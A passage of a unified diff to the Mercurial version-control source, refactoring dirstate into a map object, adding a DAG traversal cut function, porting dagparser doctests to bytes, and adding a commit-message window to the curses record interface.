+        self.stdscr.keypad(1) # allow arrow-keys to continue to function
+
     def confirmationwindow(self, windowtext):
         "display an informational window, then wait for and return a keypress."
 
@@ -1545,8 +1563,7 @@
 
             # start the editor and wait for it to complete
             try:
-                patch = self.ui.edit(patch.getvalue(), "",
-                                     extra={"suffix": ".diff"})
+                patch = self.ui.edit(patch.getvalue(), "", action="diff")
             except error.Abort as exc:
                 self.errorstr = str(exc)
                 return None
@@ -1654,6 +1671,8 @@
             self.togglefolded()
         elif keypressed in ["F"]:
             self.togglefolded(foldparent=True)
+        elif keypressed in ["m"]:
+            self.commitMessageWindow()
         elif keypressed in ["?"]:
             self.helpwindow()
             self.stdscr.clear()
@@ -1729,3 +1748,8 @@
                 keypressed = "foobar"
             if self.handlekeypressed(keypressed):
                 break
+
+        if self.commenttext != "":
+            whitespaceremoved = re.sub("(?m)^\s.*(\n|$)", "", self.commenttext)
+            if whitespaceremoved != "":
+                self.opts['message'] = self.commenttext
diff --git a/mercurial/dagop.py b/mercurial/dagop.py
--- a/mercurial/dagop.py
+++ b/mercurial/dagop.py
@@ -75,27 +75,49 @@
                 if prev != node.nullrev:
                     heapq.heappush(pendingheap, (heapsign * prev, pdepth))
 
-def _genrevancestors(repo, revs, followfirst, startdepth, stopdepth):
+def _genrevancestors(repo, revs, followfirst, startdepth, stopdepth, cutfunc):
     if followfirst:
         cut = 1
     else:
         cut = None
     cl = repo.changelog
-    def pfunc(rev):
+    def plainpfunc(rev):
         try:
             return cl.parentrevs(rev)[:cut]
         except error.WdirUnsupported:
             return (pctx.rev() for pctx in repo[rev].parents()[:cut])
+    if cutfunc is None:
+        pfunc = plainpfunc
+    else:
+        pfunc = lambda rev: [r for r in plainpfunc(rev) if not cutfunc(r)]
+        revs = revs.filter(lambda rev: not cutfunc(rev))
     return _walkrevtree(pfunc, revs, startdepth, stopdepth, reverse=True)
 
-def revancestors(repo, revs, followfirst, startdepth=None, stopdepth=None):
+def revancestors(repo, revs, followfirst=False, startdepth=None,
+                 stopdepth=None, cutfunc=None):
     """Like revlog.ancestors(), but supports additional options, includes
     the given revs themselves, and returns a smartset
 
     Scan ends at the stopdepth (exlusive) if specified. Revisions found
     earlier than the startdepth are omitted.
+
+    If cutfunc is provided, it will be used to cut the traversal of the DAG.
+    When cutfunc(X) returns True, the DAG traversal stops - revision X and
+    X's ancestors in the traversal path will be skipped. This could be an
+    optimization sometimes.
+
+    Note: if Y is an ancestor of X, cutfunc(X) returning True does not
+    necessarily mean Y will also be cut. Usually cutfunc(Y) also wants to
+    return True in this case. For example,
+
+        D     # revancestors(repo, D, cutfunc=lambda rev: rev == B)
+        |\    # will include "A", because the path D -> C -> A was not cut.
+        B C   # If "B" gets cut, "A" might want to be cut too.
+        |/
+        A
     """
-    gen = _genrevancestors(repo, revs, followfirst, startdepth, stopdepth)
+    gen = _genrevancestors(repo, revs, followfirst, startdepth, stopdepth,
+                           cutfunc)
     return generatorset(gen, iterasc=False)
 
 def _genrevdescendants(repo, revs, followfirst):
diff --git a/mercurial/dagparser.py b/mercurial/dagparser.py
--- a/mercurial/dagparser.py
+++ b/mercurial/dagparser.py
@@ -11,7 +11,11 @@
 import string
 
 from .i18n import _
-from . import error
+from . import (
+    error,
+    pycompat,
+    util,
+)
 
 def parsedag(desc):
     '''parses a DAG from a concise textual description; generates events
@@ -54,7 +58,7 @@
 
     Example of a complex graph (output not shown for brevity):
 
-        >>> len(list(parsedag("""
+        >>> len(list(parsedag(b"""
         ...
         ... +3         # 3 nodes in linear run
         ... :forkhere  # a label for the last of the 3 nodes from above
@@ -74,96 +78,96 @@
 
     Empty list:
 
-        >>> list(parsedag(""))
+        >>> list(parsedag(b""))
         []
 
     A simple linear run:
 
-        >>> list(parsedag("+3"))
+        >>> list(parsedag(b"+3"))
         [('n', (0, [-1])), ('n', (1, [0])), ('n', (2, [1]))]
 
     Some non-standard ways to define such runs:
 
-        >>> list(parsedag("+1+2"))
+        >>> list(parsedag(b"+1+2"))
         [('n', (0, [-1])), ('n', (1, [0])), ('n', (2, [1]))]
 
-        >>> list(parsedag("+1*1*"))
+        >>> list(parsedag(b"+1*1*"))
         [('n', (0, [-1])), ('n', (1, [0])), ('n', (2, [1]))]
 
-        >>> list(parsedag("*"))
+        >>> list(parsedag(b"*"))
         [('n', (0, [-1]))]
 
-        >>> list(parsedag("..."))
+        >>> list(parsedag(b"..."))
         [('n', (0, [-1])), ('n', (1, [0])), ('n', (2, [1]))]
 
     A fork and a join, using numeric back references:
 
-        >>> list(parsedag("+2*2*/2"))
+        >>> list(parsedag(b"+2*2*/2"))
         [('n', (0, [-1])), ('n', (1, [0])), ('n', (2, [0])), ('n', (3, [2, 1]))]
 
-        >>> list(parsedag("+2<2+1/2"))
+        >>> list(parsedag(b"+2<2+1/2"))
         [('n', (0, [-1])), ('n', (1, [0])), ('n', (2, [0])), ('n', (3, [2, 1]))]
 
     Placing a label:
 
-        >>> list(parsedag("+1 :mylabel +1"))
+        >>> list(parsedag(b"+1 :mylabel +1"))
         [('n', (0, [-1])), ('l', (0, 'mylabel')), ('n', (1, [0]))]
 
     An empty label (silly, really):
 
-        >>> list(parsedag("+1:+1"))
+        >>> list(parsedag(b"+1:+1"))
         [('n', (0, [-1])), ('l', (0, '')), ('n', (1, [0]))]
 
     Fork and join, but with labels instead of numeric back references:
 
-        >>> list(parsedag("+1:f +1:p2 *f */p2"))
+        >>> list(parsedag(b"+1:f +1:p2 *f */p2"))
         [('n', (0, [-1])), ('l', (0, 'f')), ('n', (1, [0])), ('l', (1, 'p2')),
          ('n', (2, [0])), ('n', (3, [2, 1]))]
 
-        >>> list(parsedag("+1:f +1:p2 <f +1 /p2"))
+        >>> list(parsedag(b"+1:f +1:p2 <f +1 /p2"))
         [('n', (0, [-1])), ('l', (0, 'f')), ('n', (1, [0])), ('l', (1, 'p2')),
          ('n', (2, [0])), ('n', (3, [2, 1]))]
 
     Restarting from the root:
 
-        >>> list(parsedag("+1 $ +1"))
+        >>> list(parsedag(b"+1 $ +1"))
         [('n', (0, [-1])), ('n', (1, [-1]))]
 
     Annotations, which are meant to introduce sticky state for subsequent nodes:
 
-        >>> list(parsedag("+1 @ann +1"))
+        >>> list(parsedag(b"+1 @ann +1"))
         [('n', (0, [-1])), ('a', 'ann'), ('n', (1, [0]))]
 
-        >>> list(parsedag('+1 @"my annotation" +1'))
+        >>> list(parsedag(b'+1 @"my annotation" +1'))
         [('n', (0, [-1])), ('a', 'my annotation'), ('n', (1, [0]))]
 
     Commands, which are meant to operate on the most recently created node:
 
-        >>> list(parsedag("+1 !cmd +1"))
+        >>> list(parsedag(b"+1 !cmd +1"))
         [('n', (0, [-1])), ('c', 'cmd'), ('n', (1, [0]))]
 
-        >>> list(parsedag('+1 !"my command" +1'))
+        >>> list(parsedag(b'+1 !"my command" +1'))
         [('n', (0, [-1])), ('c', 'my command'), ('n', (1, [0]))]
 
-        >>> list(parsedag('+1 !!my command line\\n +1'))
+        >>> list(parsedag(b'+1 !!my command line\\n +1'))
         [('n', (0, [-1])), ('C', 'my command line'), ('n', (1, [0]))]
 
     Comments, which extend to the end of the line:
 
-        >>> list(parsedag('+1 # comment\\n+1'))
+        >>> list(parsedag(b'+1 # comment\\n+1'))
         [('n', (0, [-1])), ('n', (1, [0]))]
 
     Error:
 
-        >>> try: list(parsedag('+1 bad'))
-        ... except Exception, e: print e
+        >>> try: list(parsedag(b'+1 bad'))
+        ... except Exception as e: print(pycompat.sysstr(bytes(e)))
         invalid character in dag description: bad...
 
     '''
     if not desc:
         return
 
-    wordchars = string.ascii_letters + string.digits
+    wordchars = pycompat.bytestr(string.ascii_letters + string.digits)
 
     labels = {}
     p1 = -1
@@ -172,12 +176,12 @@
     def resolve(ref):
         if not ref:
             return p1
-        elif ref[0] in string.digits:
+        elif ref[0] in pycompat.bytestr(string.digits):
             return r - int(ref)
         else:
             return labels[ref]
 
-    chiter = (c for c in desc)
+    chiter = pycompat.iterbytestr(desc)
 
     def nextch():
         return next(chiter, '\0')
@@ -206,7 +210,7 @@
 
     c = nextch()
     while c != '\0':
-        while c in string.whitespace:
+        while c in pycompat.bytestr(string.whitespace):
             c = nextch()
         if c == '.':
             yield 'n', (r, [p1])
@@ -214,7 +218,7 @@
             r += 1
             c = nextch()
         elif c == '+':
-            c, digs = nextrun(nextch(), string.digits)
+            c, digs = nextrun(nextch(), pycompat.bytestr(string.digits))
             n = int(digs)
             for i in xrange(0, n):
                 yield 'n', (r, [p1])
@@ -313,7 +317,7 @@
                 if len(ps) == 1 and ps[0] == -1:
                     if needroot:
                         if run:
-                            yield '+' + str(run)
+                            yield '+%d' % run
                             run = 0
                         if wrapnonlinear:
                             yield '\n'
@@ -328,7 +332,7 @@
                         run += 1
                 else:
                     if run:
-                        yield '+' + str(run)
+                        yield '+%d' % run
                         run = 0
                     if wrapnonlinear:
                         yield '\n'
@@ -339,11 +343,11 @@
                         elif p in labels:
                             prefs.append(labels[p])
                         else:
-                            prefs.append(str(r - p))
+                            prefs.append('%d' % (r - p))
                     yield '*' + '/'.join(prefs)
             else:
                 if run:
-                    yield '+' + str(run)
+                    yield '+%d' % run
                     run = 0
                 if kind == 'l':
                     rid, name = data
@@ -366,10 +370,12 @@
                     yield '#' + data
                     yield '\n'
                 else:
-                    raise error.Abort(_("invalid event type in dag: %s")
-                                     % str((type, data)))
+                    raise error.Abort(_("invalid event type in dag: "
+                                        "('%s', '%s')")
+                                      % (util.escapestr(kind),
+                                         util.escapestr(data)))
         if run:
-            yield '+' + str(run)
+            yield '+%d' % run
 
     line = ''
     for part in gen():
@@ -413,52 +419,54 @@
 
     Linear run:
 
-        >>> dagtext([('n', (0, [-1])), ('n', (1, [0]))])
+        >>> dagtext([(b'n', (0, [-1])), (b'n', (1, [0]))])
         '+2'
 
     Two roots:
 
-        >>> dagtext([('n', (0, [-1])), ('n', (1, [-1]))])
+        >>> dagtext([(b'n', (0, [-1])), (b'n', (1, [-1]))])
         '+1 $ +1'
 
     Fork and join:
 
-        >>> dagtext([('n', (0, [-1])), ('n', (1, [0])), ('n', (2, [0])),
-        ...          ('n', (3, [2, 1]))])
+        >>> dagtext([(b'n', (0, [-1])), (b'n', (1, [0])), (b'n', (2, [0])),
+        ...          (b'n', (3, [2, 1]))])
         '+2 *2 */2'
 
     Fork and join with labels:
 
-        >>> dagtext([('n', (0, [-1])), ('l', (0, 'f')), ('n', (1, [0])),
-        ...          ('l', (1, 'p2')), ('n', (2, [0])), ('n', (3, [2, 1]))])
+        >>> dagtext([(b'n', (0, [-1])), (b'l', (0, b'f')), (b'n', (1, [0])),
+        ...          (b'l', (1, b'p2')), (b'n', (2, [0])), (b'n', (3, [2, 1]))])
         '+1 :f +1 :p2 *f */p2'
 
     Annotations:
 
-        >>> dagtext([('n', (0, [-1])), ('a', 'ann'), ('n', (1, [0]))])
+        >>> dagtext([(b'n', (0, [-1])), (b'a', b'ann'), (b'n', (1, [0]))])
         '+1 @ann +1'
 
-        >>> dagtext([('n', (0, [-1])),
-        ...          ('a', 'my annotation'),
-        ...          ('n', (1, [0]))])
+        >>> dagtext([(b'n', (0, [-1])),
+        ...          (b'a', b'my annotation'),
+        ...          (b'n', (1, [0]))])
         '+1 @"my annotation" +1'
 
     Commands:
 
-        >>> dagtext([('n', (0, [-1])), ('c', 'cmd'), ('n', (1, [0]))])
+        >>> dagtext([(b'n', (0, [-1])), (b'c', b'cmd'), (b'n', (1, [0]))])
         '+1 !cmd +1'
 
-        >>> dagtext([('n', (0, [-1])), ('c', 'my command'), ('n', (1, [0]))])
+        >>> dagtext([(b'n', (0, [-1])),
+        ...          (b'c', b'my command'),
+        ...          (b'n', (1, [0]))])
         '+1 !"my command" +1'
 
-        >>> dagtext([('n', (0, [-1])),
-        ...          ('C', 'my command line'),
-        ...          ('n', (1, [0]))])
+        >>> dagtext([(b'n', (0, [-1])),
+        ...          (b'C', b'my command line'),
+        ...          (b'n', (1, [0]))])
         '+1 !!my command line\\n+1'
 
     Comments:
 
-        >>> dagtext([('n', (0, [-1])), ('#', ' comment'), ('n', (1, [0]))])
+        >>> dagtext([(b'n', (0, [-1])), (b'#', b' comment'), (b'n', (1, [0]))])
         '+1 # comment\\n+1'
 
         >>> dagtext([])
@@ -466,7 +474,7 @@
 
     Combining parsedag and dagtext:
 
-        >>> dagtext(parsedag('+1 :f +1 :p2 *f */p2'))
+        >>> dagtext(parsedag(b'+1 :f +1 :p2 *f */p2'))
         '+1 :f +1 :p2 *f */p2'
 
     '''
diff --git a/mercurial/dagutil.py b/mercurial/dagutil.py
--- a/mercurial/dagutil.py
+++ b/mercurial/dagutil.py
@@ -148,7 +148,7 @@
                     if (r is not None
                         and r != nullrev
                         and r not in rl.filteredrevs)]
-        return map(self._internalize, ids)
+        return [self._internalize(i) for i in ids]
 
 
 class revlogdag(revlogbaseddag):
diff --git a/mercurial/debugcommands.py b/mercurial/debugcommands.py
--- a/mercurial/debugcommands.py
+++ b/mercurial/debugcommands.py
@@ -7,6 +7,8 @@
 
 from __future__ import absolute_import
 
+import codecs
+import collections
 import difflib
 import errno
 import operator
@@ -261,18 +263,11 @@
 
         def showchunks(named):
             ui.write("\n%s%s\n" % (indent_string, named))
-            chain = None
-            for chunkdata in iter(lambda: gen.deltachunk(chain), {}):
-                node = chunkdata['node']
-                p1 = chunkdata['p1']
-                p2 = chunkdata['p2']
-                cs = chunkdata['cs']
-                deltabase = chunkdata['deltabase']
-                delta = chunkdata['delta']
+            for deltadata in gen.deltaiter():
+                node, p1, p2, cs, deltabase, delta, flags = deltadata
                 ui.write("%s%s %s %s %s %s %s\n" %
                          (indent_string, hex(node), hex(p1), hex(p2),
                           hex(cs), hex(deltabase), len(delta)))
-                chain = node
 
         chunkdata = gen.changelogheader()
         showchunks("changelog")
@@ -285,11 +280,9 @@
         if isinstance(gen, bundle2.unbundle20):
             raise error.Abort(_('use debugbundle2 for this file'))
         chunkdata = gen.changelogheader()
-        chain = None
-        for chunkdata in iter(lambda: gen.deltachunk(chain), {}):
-            node = chunkdata['node']
+        for deltadata in gen.deltaiter():
+            node, p1, p2, cs, deltabase, delta, flags = deltadata
             ui.write("%s%s\n" % (indent_string, hex(node)))
-            chain = node
 
 def _debugobsmarkers(ui, part, indent=0, **opts):
     """display version and markers contained in 'data'"""
@@ -317,22 +310,28 @@
 def _debugphaseheads(ui, data, indent=0):
     """display version and markers contained in 'data'"""
     indent_string = ' ' * indent
-    headsbyphase = bundle2._readphaseheads(data)
+    headsbyphase = phases.binarydecode(data)
     for phase in phases.allphases:
         for head in headsbyphase[phase]:
             ui.write(indent_string)
             ui.write('%s %s\n' % (hex(head), phases.phasenames[phase]))
 
+def _quasirepr(thing):
+    if isinstance(thing, (dict, util.sortdict, collections.OrderedDict)):
+        return '{%s}' % (
+            b', '.join(b'%s: %s' % (k, thing[k]) for k in sorted(thing)))
+    return pycompat.bytestr(repr(thing))
+
 def _debugbundle2(ui, gen, all=None, **opts):
     """lists the contents of a bundle2"""
     if not isinstance(gen, bundle2.unbundle20):
         raise error.Abort(_('not a bundle2 file'))
-    ui.write(('Stream params: %s\n' % repr(gen.params)))
+    ui.write(('Stream params: %s\n' % _quasirepr(gen.params)))
     parttypes = opts.get(r'part_type', [])
     for part in gen.iterparts():
         if parttypes and part.type not in parttypes:
             continue
-        ui.write('%s -- %r\n' % (part.type, repr(part.params)))
+        ui.write('%s -- %s\n' % (part.type, _quasirepr(part.params)))
         if part.type == 'changegroup':
             version = part.params.get('version', '01')
             cg = changegroup.getunbundler(version, part, 'UN')
@@ -990,9 +989,9 @@
     fm.write('encoding', _("checking encoding (%s)...\n"), encoding.encoding)
     err = None
     try:
-        encoding.fromlocal("test")
-    except error.Abort as inst:
-        err = inst
+        codecs.lookup(pycompat.sysstr(encoding.encoding))
+    except LookupError as inst:
+        err = util.forcebytestr(inst)
         problems += 1
     fm.condwrite(err, 'encodingerror', _(" %s\n"
                  " (check that your locale is properly set)\n"), err)
@@ -1048,7 +1047,7 @@
             )
             dir(bdiff), dir(mpatch), dir(base85), dir(osutil) # quiet pyflakes
         except Exception as inst:
-            err = inst
+            err = util.forcebytestr(inst)
             problems += 1
         fm.condwrite(err, 'extensionserror', " %s\n", err)
 
@@ -1080,7 +1079,7 @@
             try:
                 templater.templater.frommapfile(m)
             except Exception as inst:
-                err = inst
+                err = util.forcebytestr(inst)
                 p = None
             fm.condwrite(err, 'defaulttemplateerror', " %s\n", err)
         else:
@@ -1116,7 +1115,7 @@
     try:
         username = ui.username()
     except error.Abort as e:
-        err = e
+        err = util.forcebytestr(e)
         problems += 1
 
     fm.condwrite(username, 'username',  _("checking username (%s)\n"), username)
@@ -2073,7 +2072,7 @@
     If the update succeeds, retry the original operation.  Otherwise, the cause
     of the SSL error is likely another issue.
     '''
-    if pycompat.osname != 'nt':
+    if not pycompat.iswindows:
         raise error.Abort(_('certificate chain building is only possible on '
                             'Windows'))
 
diff --git a/mercurial/dirstate.py b/mercurial/dirstate.py
--- a/mercurial/dirstate.py
+++ b/mercurial/dirstate.py
@@ -54,20 +54,6 @@
         os.close(tmpfd)
         vfs.unlink(tmpname)
 
-def nonnormalentries(dmap):
-    '''Compute the nonnormal dirstate entries from the dmap'''
-    try:
-        return parsers.nonnormalotherparententries(dmap)
-    except AttributeError:
-        nonnorm = set()
-        otherparent = set()
-        for fname, e in dmap.iteritems():
-            if e[0] != 'n' or e[3] == -1:
-                nonnorm.add(fname)
-            if e[0] == 'n' and e[2] == -2:
-                otherparent.add(fname)
-        return nonnorm, otherparent
-
 class dirstate(object):
 
     def __init__(self, opener, ui, root, validate, sparsematchfn):
@@ -85,7 +71,6 @@
         # UNC path pointing to root share (issue4557)
         self._rootdir = pathutil.normasprefix(root)
         self._dirty = False
-        self._dirtypl = False
         self._lastnormaltime = 0
         self._ui = ui
         self._filecache = {}
@@ -96,9 +81,6 @@
         self._origpl = None
         self._updatedfiles = set()
 
-        # for consistent view between _pl() and _read() invocations
-        self._pendingmode = None
-
     @contextlib.contextmanager
     def parentchange(self):
         '''Context manager for handling dirstate parents.
@@ -150,54 +132,6 @@
         self._read()
         return self._map
 
-    @propertycache
-    def _copymap(self):
-        self._read()
-        return self._copymap
-
-    @propertycache
-    def _identity(self):
-        self._read()
-        return self._identity
-
-    @propertycache
-    def _nonnormalset(self):
-        nonnorm, otherparents = nonnormalentries(self._map)
-        self._otherparentset = otherparents
-        return nonnorm
-
-    @propertycache
-    def _otherparentset(self):
-        nonnorm, otherparents = nonnormalentries(self._map)
-        self._nonnormalset = nonnorm
-        return otherparents
-
-    @propertycache
-    def _filefoldmap(self):
-        try:
-            makefilefoldmap = parsers.make_file_foldmap
-        except AttributeError:
-            pass
-        else:
-            return makefilefoldmap(self._map, util.normcasespec,
-                                   util.normcasefallback)
-
-        f = {}
-        normcase = util.normcase
-        for name, s in self._map.iteritems():
-            if s[0] != 'r':
-                f[normcase(name)] = name
-        f['.'] = '.' # prevents useless util.fspath() invocation
-        return f
-
-    @propertycache
-    def _dirfoldmap(self):
-        f = {}
-        normcase = util.normcase
-        for name in self._dirs:
-            f[normcase(name)] = name
-        return f
-
     @property
     def _sparsematcher(self):
         """The matcher for the sparse checkout.
@@ -220,28 +154,12 @@
                 raise
             return "default"
 
-    @propertycache
+    @property
     def _pl(self):
-        try:
-            fp = self._opendirstatefile()
-            st = fp.read(40)
-            fp.close()
-            l = len(st)
-            if l == 40:
-                return st[:20], st[20:40]
-            elif l > 0 and l < 40:
-                raise error.Abort(_('working directory state appears damaged!'))
-        except IOError as err:
-            if err.errno != errno.ENOENT:
-                raise
-        return [nullid, nullid]
-
-    @propertycache
-    def _dirs(self):
-        return util.dirs(self._map, 'r')
+        return self._map.parents()
 
     def dirs(self):
-        return self._dirs
+        return self._map.dirs
 
     @rootcache('.hgignore')
     def _ignore(self):
@@ -359,8 +277,7 @@
         return key in self._map
 
     def __iter__(self):
-        for x in sorted(self._map):
-            yield x
+        return iter(sorted(self._map))
 
     def items(self):
         return self._map.iteritems()
@@ -392,14 +309,15 @@
             raise ValueError("cannot set dirstate parent without "
                              "calling dirstate.beginparentchange")
 
-        self._dirty = self._dirtypl = True
+        self._dirty = True
         oldp2 = self._pl[1]
         if self._origpl is None:
             self._origpl = self._pl
-        self._pl = p1, p2
+        self._map.setparents(p1, p2)
         copies = {}
         if oldp2 != nullid and p2 == nullid:
-            candidatefiles = self._nonnormalset.union(self._otherparentset)
+            candidatefiles = self._map.nonnormalset.union(
+                                self._map.otherparentset)
             for f in candidatefiles:
                 s = self._map.get(f)
                 if s is None:
@@ -407,13 +325,15 @@
 
                 # Discard 'm' markers when moving away from a merge state
                 if s[0] == 'm':
-                    if f in self._copymap:
-                        copies[f] = self._copymap[f]
+                    source = self._map.copymap.get(f)
+                    if source:
+                        copies[f] = source
                     self.normallookup(f)
                 # Also fix up otherparent markers
                 elif s[0] == 'n' and s[2] == -2:
-                    if f in self._copymap:
-                        copies[f] = self._copymap[f]
+                    source = self._map.copymap.get(f)
+                    if source:
+                        copies[f] = source
                     self.add(f)
         return copies
 
@@ -433,63 +353,9 @@
             f.discard()
             raise
 
-    def _opendirstatefile(self):
-        fp, mode = txnutil.trypending(self._root, self._opener, self._filename)
-        if self._pendingmode is not None and self._pendingmode != mode:
-            fp.close()
-            raise error.Abort(_('working directory state may be '
-                                'changed parallelly'))
-        self._pendingmode = mode
-        return fp
-
     def _read(self):
-        self._map = {}
-        self._copymap = {}
-        # ignore HG_PENDING because identity is used only for writing
-        self._identity = util.filestat.frompath(
-            self._opener.join(self._filename))
-        try:
-            fp = self._opendirstatefile()
-            try:
-                st = fp.read()
-            finally:
-                fp.close()
-        except IOError as err:
-            if err.errno != errno.ENOENT:
-                raise
-            return
-        if not st:
-            return
-
-        if util.safehasattr(parsers, 'dict_new_presized'):
-            # Make an estimate of the number of files in the dirstate based on
-            # its size. From a linear regression on a set of real-world repos,
-            # all over 10,000 files, the size of a dirstate entry is 85
-            # bytes. The cost of resizing is significantly higher than the cost
-            # of filling in a larger presized dict, so subtract 20% from the
-            # size.
-            #
-            # This heuristic is imperfect in many ways, so in a future dirstate
-            # format update it makes sense to just record the number of entries
-            # on write.
-            self._map = parsers.dict_new_presized(len(st) / 71)
-
-        # Python's garbage collector triggers a GC each time a certain number
-        # of container objects (the number being defined by
-        # gc.get_threshold()) are allocated. parse_dirstate creates a tuple
-        # for each file in the dirstate. The C version then immediately marks
-        # them as not to be tracked by the collector. However, this has no
-        # effect on when GCs are triggered, only on what objects the GC looks
-        # into. This means that O(number of files) GCs are unavoidable.
-        # Depending on when in the process's lifetime the dirstate is parsed,
-        # this can get very expensive. As a workaround, disable GC while
-        # parsing the dirstate.
-        #
-        # (we cannot decorate the function directly since it is in a C module)
-        parse_dirstate = util.nogc(parsers.parse_dirstate)
-        p = parse_dirstate(self._map, self._copymap, st)
-        if not self._dirtypl:
-            self._pl = p
+        self._map = dirstatemap(self._ui, self._opener, self._root)
+        self._map.read()
 
     def invalidate(self):
         '''Causes the next access to reread the dirstate.
@@ -498,10 +364,7 @@
         rereads the dirstate. Use localrepo.invalidatedirstate() if you want to
         check whether the dirstate has changed before rereading it.'''
 
-        for a in ("_map", "_copymap", "_identity",
-                  "_filefoldmap", "_dirfoldmap", "_branch",
-                  "_pl", "_dirs", "_ignore", "_nonnormalset",
-                  "_otherparentset"):
+        for a in ("_map", "_branch", "_ignore"):
             if a in self.__dict__:
                 delattr(self, a)
         self._lastnormaltime = 0
@@ -516,27 +379,26 @@
             return
         self._dirty = True
         if source is not None:
-            self._copymap[dest] = source
+            self._map.copymap[dest] = source
             self._updatedfiles.add(source)
             self._updatedfiles.add(dest)
-        elif dest in self._copymap:
-            del self._copymap[dest]
+        elif self._map.copymap.pop(dest, None):
             self._updatedfiles.add(dest)
 
     def copied(self, file):
-        return self._copymap.get(file, None)
+        return self._map.copymap.get(file, None)
 
     def copies(self):
-        return self._copymap
+        return self._map.copymap
 
     def _droppath(self, f):
-        if self[f] not in "?r" and "_dirs" in self.__dict__:
-            self._dirs.delpath(f)
+        if self[f] not in "?r" and "dirs" in self._map.__dict__:
+            self._map.dirs.delpath(f)
 
-        if "_filefoldmap" in self.__dict__:
+        if "filefoldmap" in self._map.__dict__:
             normed = util.normcase(f)
-            if normed in self._filefoldmap:
-                del self._filefoldmap[normed]
+            if normed in self._map.filefoldmap:
+                del self._map.filefoldmap[normed]
 
         self._updatedfiles.add(f)
 
@@ -544,24 +406,25 @@
         oldstate = self[f]
         if state == 'a' or oldstate == 'r':
             scmutil.checkfilename(f)
-            if f in self._dirs:
+            if f in self._map.dirs:
                 raise error.Abort(_('directory %r already in dirstate') % f)
             # shadows
             for d in util.finddirs(f):
-                if d in self._dirs:
+                if d in self._map.dirs:
                     break
-                if d in self._map and self[d] != 'r':
+                entry = self._map.get(d)
+                if entry is not None and entry[0] != 'r':
                     raise error.Abort(
                         _('file %r in dirstate clashes with %r') % (d, f))
-        if oldstate in "?r" and "_dirs" in self.__dict__:
-            self._dirs.addpath(f)
+        if oldstate in "?r" and "dirs" in self._map.__dict__:
+            self._map.dirs.addpath(f)
         self._dirty = True
         self._updatedfiles.add(f)
         self._map[f] = dirstatetuple(state, mode, size, mtime)
         if state != 'n' or mtime == -1:
-            self._nonnormalset.add(f)
+            self._map.nonnormalset.add(f)
         if size == -2:
-            self._otherparentset.add(f)
+            self._map.otherparentset.add(f)
 
     def normal(self, f):
         '''Mark a file normal and clean.'''
@@ -569,10 +432,9 @@
         mtime = s.st_mtime
         self._addpath(f, 'n', s.st_mode,
                       s.st_size & _rangemask, mtime & _rangemask)
-        if f in self._copymap:
-            del self._copymap[f]
-        if f in self._nonnormalset:
-            self._nonnormalset.remove(f)
+        self._map.copymap.pop(f, None)
+        if f in self._map.nonnormalset:
+            self._map.nonnormalset.remove(f)
         if mtime > self._lastnormaltime:
             # Remember the most recent modification timeslot for status(),
             # to make sure we won't miss future size-preserving file content
@@ -581,27 +443,27 @@
 
     def normallookup(self, f):
         '''Mark a file normal, but possibly dirty.'''
-        if self._pl[1] != nullid and f in self._map:
+        if self._pl[1] != nullid:
             # if there is a merge going on and the file was either
             # in state 'm' (-1) or coming from other parent (-2) before
             # being removed, restore that state.
-            entry = self._map[f]
-            if entry[0] == 'r' and entry[2] in (-1, -2):
-                source = self._copymap.get(f)
-                if entry[2] == -1:
-                    self.merge(f)
-                elif entry[2] == -2:
-                    self.otherparent(f)
-                if source:
-                    self.copy(source, f)
-                return
-            if entry[0] == 'm' or entry[0] == 'n' and entry[2] == -2:
-                return
+            entry = self._map.get(f)
+            if entry is not None:
+                if entry[0] == 'r' and entry[2] in (-1, -2):
+                    source = self._map.copymap.get(f)
+                    if entry[2] == -1:
+                        self.merge(f)
+                    elif entry[2] == -2:
+                        self.otherparent(f)
+                    if source:
+                        self.copy(source, f)
+                    return
+                if entry[0] == 'm' or entry[0] == 'n' and entry[2] == -2:
+                    return
         self._addpath(f, 'n', 0, -1, -1)
-        if f in self._copymap:
-            del self._copymap[f]
-        if f in self._nonnormalset:
-            self._nonnormalset.remove(f)
+        self._map.copymap.pop(f, None)
+        if f in self._map.nonnormalset:
+            self._map.nonnormalset.remove(f)
 
     def otherparent(self, f):
         '''Mark as coming from the other parent, always dirty.'''
@@ -614,33 +476,31 @@
         else:
             # add-like
             self._addpath(f, 'n', 0, -2, -1)
-
-        if f in self._copymap:
-            del self._copymap[f]
+        self._map.copymap.pop(f, None)
 
     def add(self, f):
         '''Mark a file added.'''
         self._addpath(f, 'a', 0, -1, -1)
-        if f in self._copymap:
-            del self._copymap[f]
+        self._map.copymap.pop(f, None)
 
     def remove(self, f):
         '''Mark a file removed.'''
         self._dirty = True
         self._droppath(f)
         size = 0
-        if self._pl[1] != nullid and f in self._map:
-            # backup the previous state
-            entry = self._map[f]
-            if entry[0] == 'm': # merge
-                size = -1
-            elif entry[0] == 'n' and entry[2] == -2: # other parent
-                size = -2
-                self._otherparentset.add(f)
+        if self._pl[1] != nullid:
+            entry = self._map.get(f)
+            if entry is not None:
+                # backup the previous state
+                if entry[0] == 'm': # merge
+                    size = -1
+                elif entry[0] == 'n' and entry[2] == -2: # other parent
+                    size = -2
+                    self._map.otherparentset.add(f)
         self._map[f] = dirstatetuple('r', 0, size, 0)
-        self._nonnormalset.add(f)
-        if size == 0 and f in self._copymap:
-            del self._copymap[f]
+        self._map.nonnormalset.add(f)
+        if size == 0:
+            self._map.copymap.pop(f, None)
 
     def merge(self, f):
         '''Mark a file merged.'''
@@ -654,10 +514,9 @@
             self._dirty = True
             self._droppath(f)
             del self._map[f]
-            if f in self._nonnormalset:
-                self._nonnormalset.remove(f)
-            if f in self._copymap:
-                del self._copymap[f]
+            if f in self._map.nonnormalset:
+                self._map.nonnormalset.remove(f)
+            self._map.copymap.pop(f, None)
 
     def _discoverpath(self, path, normed, ignoremissing, exists, storemap):
         if exists is None:
@@ -687,20 +546,20 @@
 
     def _normalizefile(self, path, isknown, ignoremissing=False, exists=None):
         normed = util.normcase(path)
-        folded = self._filefoldmap.get(normed, None)
+        folded = self._map.filefoldmap.get(normed, None)
         if folded is None:
             if isknown:
                 folded = path
             else:
                 folded = self._discoverpath(path, normed, ignoremissing, exists,
-                                            self._filefoldmap)
+                                            self._map.filefoldmap)
         return folded
 
     def _normalize(self, path, isknown, ignoremissing=False, exists=None):
         normed = util.normcase(path)
-        folded = self._filefoldmap.get(normed, None)
+        folded = self._map.filefoldmap.get(normed, None)
         if folded is None:
-            folded = self._dirfoldmap.get(normed, None)
+            folded = self._map.dirfoldmap.get(normed, None)
         if folded is None:
             if isknown:
                 folded = path
@@ -708,7 +567,7 @@
                 # store discovered result in dirfoldmap so that future
